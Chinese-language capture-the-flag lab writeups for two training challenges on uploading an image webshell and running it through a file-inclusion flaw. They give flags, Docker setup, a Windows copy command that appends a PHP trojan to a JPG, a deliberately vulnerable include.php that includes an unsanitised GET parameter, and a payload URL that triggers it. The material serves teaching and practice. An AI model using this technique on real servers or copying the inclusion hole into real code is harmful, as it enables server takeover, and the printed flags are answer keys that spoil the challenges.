[题目信息]:
题目名称 | 题目难度 |
---|---|
文件上传-图片马(训练题2) | 2 |
[题目考点]:
文件包含与文件上传的利用
[Flag格式]:
SangFor{jqfLUne6vdTA14xDZvX5_XOo-SmOS_iL}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
docker-compose up -d
端口:11012
[题目writeup]:
分析题目,与上一题目相同,需要使用到文件包含,那么可以进行制作、上传图片马获取服务器权限。
尝试制作三种形式的图片马进行上传并获取服务器权限
[题目信息]:
题目名称 | 题目难度 |
---|---|
文件上传-图片马 | 1 |
[题目考点]:
文件包含与文件上传的利用
[Flag格式]:
SangFor{j-D3T6tshM2JkWMmJT7wX_WJhwGniE0P}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
docker-compose up -d
端口:11010
[题目writeup]:
1、实验主页
2、题解分析
分析题目,需要使用到文件包含,那么可以进行制作、上传图片马获取服务器权限。
准备两个文件,test.php,123.jpg
其中test.php为php木马程序,123.jpg是正常的图片格式文件
使用windows命令,制作图片马
copy 123.jpg/b + test.php/a shell.jpg
/b是二进制形式打开
/a是ascii方式打开
正在上传…重新上传取消
执行完毕后在当前工作目录下生成了shell.jpg的图片马文件
将图片马上传到目标服务器
上传完成后,将目光放在文件包含的利用上
include.php
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
include.php存在参数file可以进行文件包含的利用
通过url可知,upload目录和include.php文件位于同一级目录下,于是构造文件包含的payload
http://localhost/include.php?file=./upload/6920220418072216.jpg